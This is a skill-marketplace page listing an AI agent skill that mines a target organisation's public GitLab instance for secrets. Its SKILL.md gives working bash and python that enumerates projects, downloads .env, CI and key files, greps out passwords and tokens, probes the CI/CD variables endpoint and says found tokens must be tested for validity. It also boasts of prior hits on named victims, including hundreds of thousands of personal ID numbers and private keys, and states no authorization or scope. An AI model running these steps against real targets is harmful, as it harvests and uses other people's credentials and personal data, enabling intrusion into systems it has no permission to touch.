Gitlab Public Recon logo

Gitlab Public Recon

CommunityPopular
uphiago
gitlab-public-recon

Mine GitLab for secrets, CI tokens when subdomain found.

Overview

Publisheruphiago
Repositoryrecon-skills
Skill namegitlab-public-recon
Stars
1.3K
Forks
213
Bundled files
Instructions only
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by uphiago on GitHub. Read the source before you install it.

Installation

Install the Gitlab Public Recon AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/uphiago/recon-skills.git /tmp/recon-skills
mkdir -p .claude/skills
cp -r /tmp/recon-skills/recon/gitlab-public-recon .claude/skills/gitlab-public-recon
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Gitlab Public Recon in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Gitlab Public Recon on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Gitlab Public Recon is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

GitLab Public Recon Skill

Enumerate publicly accessible GitLab repositories to extract source code, credentials, internal IPs, CI/CD tokens, deployment configurations, and environment files. GitLab instances with registration enabled or public visibility expose the entire development infrastructure. Confirmed on gov-finance-portal (3 public repos, 461K CPFs, internal IP 10.11.82.75, CI/CD tokens), dev-agency (GitLab with SSL private keys), and fitness-chain (Firebase SA keys in repos).

When to Use

  • Target has a gitlab. subdomain or self-hosted GitLab instance.
  • crt.sh reveals gitlab.target.com in certificates.
  • After subdomain-enumeration discovers GitLab hosts.
  • After js-secrets-extraction finds GitLab CI/CD references.
  • Target is a government agency or large enterprise (common self-hosted GitLab users).

Prerequisites

  • terminal with curl, python3, jq.
  • GitLab URL (e.g., https://gitlab.target.com).
  • GitLab API is accessible without authentication for public resources.

How to Run

bash
# List public projects
curl --max-time 30 --connect-timeout 10 -sk "https://gitlab.TARGET.com/api/v4/projects?visibility=public&per_page=100" | jq '.[].path_with_namespace'

# Read a file from a public repo
curl --max-time 30 --connect-timeout 10 -sk "https://gitlab.TARGET.com/api/v4/projects/GROUP%2FPROJECT/repository/files/PATH/raw?ref=main"

Quick Reference

API EndpointWhat It ReturnsRisk
/api/v4/projects?visibility=publicAll public projectsInfo
/api/v4/projects/:id/repository/treeDirectory listingHigh
/api/v4/projects/:id/repository/files/:path/raw?ref=:branchRaw file contentCritical
/api/v4/projects/:id/repository/commitsCommit history with authorsMedium
/api/v4/projects/:id/variablesCI/CD variables (admin only)Critical
/api/v4/projects/:id/jobsCI/CD job historyMedium
/users/sign_upOpen registrationCritical
/explorePublic project explorerInfo

Procedure

Phase 1 — Discover GitLab Instance & Check Public Access

bash
TARGET="$1"
OUTDIR="$OUTDIR/gitlab"
mkdir -p "$OUTDIR"

echo "[*] GitLab recon on $TARGET"

# Check if GitLab is accessible
MAIN_PAGE=$(curl -sk --max-time 10 --connect-timeout 10 "https://$TARGET/" 2>/dev/null)
if echo "$MAIN_PAGE" | grep -qi "gitlab"; then
  echo "[+] GitLab confirmed"
elif echo "$MAIN_PAGE" | grep -qi "sign_in\|sign_up\|explore/projects"; then
  echo "[+] GitLab confirmed (page content)"
else
  echo "[-] May not be GitLab — probing API..."
fi

# Check API version
API_VER=$(curl -sk --max-time 5 --connect-timeout 5 "https://$TARGET/api/v4/version" 2>/dev/null | python3 -c "import sys,json; d=json.load(sys.stdin); print(f'{d.get(\"version\",\"?\")} rev {d.get(\"revision\",\"?\")[:8]}')" 2>/dev/null)
[[ -n "$API_VER" ]] && echo "  GitLab version: $API_VER"

# Check if registration is open
REG_CODE=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 "https://$TARGET/users/sign_up" 2>/dev/null)
[[ "$REG_CODE" == "200" ]] && echo "  [!] Registration OPEN — anyone can create accounts"

Phase 2 — Enumerate Public Projects

bash
TARGET="$1"

echo "[*] Enumerating public projects..."

PAGE=1
TOTAL_PROJECTS=0

while true; do
  PROJECTS=$(curl -sk --max-time 15 --connect-timeout 10 "https://$TARGET/api/v4/projects?visibility=public&per_page=100&page=$PAGE" 2>/dev/null)

  count=$(echo "$PROJECTS" | python3 -c "import sys,json; print(len(json.load(sys.stdin)))" 2>/dev/null)
  if [[ "$count" -eq 0 ]]; then break; fi

  # Extract project names and save
  echo "$PROJECTS" | python3 -c "
import sys, json
projects = json.load(sys.stdin)
for p in projects:
    print(f'{p[\"id\"]} | {p[\"path_with_namespace\"]} | stars={p.get(\"star_count\",0)} | forks={p.get(\"forks_count\",0)} | last_activity={p.get(\"last_activity_at\",\"?\")[:10]}')
" 2>/dev/null | tee -a "$OUTDIR/projects.txt"

  TOTAL_PROJECTS=$((TOTAL_PROJECTS + count))
  PAGE=$((PAGE + 1))
  [[ $PAGE -gt 20 ]] && break  # Safety limit
done

echo "[+] Total public projects: $TOTAL_PROJECTS"

Phase 3 — Extract Source Code & Secrets

bash
TARGET="$1"
PROJECT_ID="$2"   # from projects.txt enumeration
OUTDIR="$OUTDIR/gitlab"

echo "[*] Extracting from project ID: $PROJECT_ID"

# Get project details
DETAILS=$(curl -sk --max-time 10 --connect-timeout 10 "https://$TARGET/api/v4/projects/$PROJECT_ID" 2>/dev/null)
PRJ_NAME=$(echo "$DETAILS" | python3 -c "import sys,json; print(json.load(sys.stdin).get('path_with_namespace','unknown'))" 2>/dev/null)
echo "  Project: $PRJ_NAME"

# Get repository file tree (top-level)
TREE=$(curl -sk --max-time 10 --connect-timeout 10 "https://$TARGET/api/v4/projects/$PROJECT_ID/repository/tree?recursive=true&per_page=100" 2>/dev/null)
echo "  Files in repo: $(echo "$TREE" | python3 -c "import sys,json; print(len(json.load(sys.stdin)))" 2>/dev/null)"

# Hunt for sensitive files
SENSITIVE_PATTERNS=(
  ".env" ".env.example" ".env.production" ".env.local"
  "docker-compose.yml" "docker-compose.prod.yml" "Dockerfile"
  ".gitlab-ci.yml" "deploy.sh" "deploy.yml"
  "credentials.json" "service-account.json" "*.pem" "*.key"
  "config/database.yml" "config/secrets.yml"
)

echo "[*] Hunting sensitive files..."

echo "$TREE" | python3 -c "
import sys, json, re

files = json.load(sys.stdin)
sensitive = ['.env', 'docker-compose', 'deploy', '.gitlab-ci.yml', 'credentials',
             'service-account', '.pem', '.key', 'secret', 'password', 'token',
             'database.yml', 'secrets.yml', 'backup', 'dump']

for f in files:
    name = f['name'].lower()
    path = f['path'].lower()
    if any(s in name or s in path for s in sensitive):
        print(f'  {f[\"type\"]:4s} {f[\"path\"]}')
" 2>/dev/null

# Download specific sensitive files
echo "[*] Downloading key files..."

for file_path in ".env" ".env.example" "docker-compose.yml" ".gitlab-ci.yml" "deploy.sh"; do
  ENCODED_PATH=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$file_path', safe=''))")
  content=$(curl -sk --max-time 10 --connect-timeout 10 "https://$TARGET/api/v4/projects/$PROJECT_ID/repository/files/$ENCODED_PATH/raw?ref=main" 2>/dev/null)

  if [[ -n "$content" ]] && ! echo "$content" | grep -q "404 File"; then
    echo "$content" > "$OUTDIR/${PRJ_NAME//\//_}_${file_path//\//_}"
    echo "  [+] Downloaded: $file_path (${#content} bytes)"

    # Quick secret scan
    if echo "$content" | grep -qiE "password|secret|token|key|database|redis|mysql|api_key"; then
      echo "    [!] POTENTIAL SECRETS FOUND"
      echo "$content" | grep -iE "password|secret|token|key" | head -5
    fi
  fi

  # Also try 'master' branch
  if [[ -z "$content" ]] || echo "$content" | grep -q "404 File"; then
    content=$(curl -sk --max-time 10 --connect-timeout 10 "https://$TARGET/api/v4/projects/$PROJECT_ID/repository/files/$ENCODED_PATH/raw?ref=master" 2>/dev/null)
    if [[ -n "$content" ]] && ! echo "$content" | grep -q "404 File"; then
      echo "  [+] Downloaded (master): $file_path"
    fi
  fi
done

Phase 4 — CI/CD Token & Variable Extraction

bash
TARGET="$1"
PROJECT_ID="$2"

echo "[*] CI/CD analysis..."

# Get .gitlab-ci.yml (pipeline definition)
CI_CONTENT=$(curl -sk --max-time 10 --connect-timeout 10 "https://$TARGET/api/v4/projects/$PROJECT_ID/repository/files/.gitlab-ci.yml/raw?ref=main" 2>/dev/null)
if [[ -n "$CI_CONTENT" ]] && ! echo "$CI_CONTENT" | grep -q "404"; then
  echo "  [+] .gitlab-ci.yml found"

  # Extract CI/CD variables and tokens
  echo "$CI_CONTENT" | grep -Eo '\$\{[A-Z_]+\}|$[A-Z_]+' | sort -u | while read var; do
    echo "    CI Variable: $var"
  done

  # Check for runner registration tokens
  echo "$CI_CONTENT" | grep -iE "token|secret|password|credential" | head -5
fi

# Try to access CI/CD variables (requires admin token — rare but worth trying)
VARS=$(curl -sk --max-time 5 --connect-timeout 5 "https://$TARGET/api/v4/projects/$PROJECT_ID/variables" 2>/dev/null)
if echo "$VARS" | grep -qi "key\|value"; then
  echo "  [CRITICAL] CI/CD variables accessible without admin token!"
  echo "$VARS" | python3 -m json.tool 2>/dev/null | head -30
fi

Pitfalls

  • Rate limiting. GitLab API has rate limits (typically 300-600 requests/min). Use --max-time and delays.
  • File path encoding. Special characters in paths must be URL-encoded (/%2F, .%2E).
  • Default branch may not be main. Try main, master, develop for file access.
  • Large files may truncate. The API may limit response size. Use git clone for full access if registration is open.
  • GitLab authentication. Public repos are accessible without auth. Private repos return 404.

Verification

  • Public projects MUST be enumerable via /api/v4/projects?visibility=public.
  • Sensitive files MUST be downloadable via the raw endpoint and contain real credentials/config (not templates).
  • Internal IPs/domain names found MUST be confirmed as the target's infrastructure.
  • CI/CD tokens found MUST be tested for validity (e.g., GitLab API access with runner token).
  • Registration open means anyone can create an account and potentially access more resources.

Frequently asked questions

What does the Gitlab Public Recon AI skill do?

Mine GitLab for secrets, CI tokens when subdomain found.

Why use Gitlab Public Recon on TypingMind?

Because you install it once and use it with any model. Gitlab Public Recon is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Gitlab Public Recon in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/uphiago/recon-skills/tree/main/recon/gitlab-public-recon. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Gitlab Public Recon?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Gitlab Public Recon?

As many as you like. As long as a model supports skills, you can use Gitlab Public Recon with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Gitlab Public Recon AI skill free?

Yes. It is published on GitHub by uphiago under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇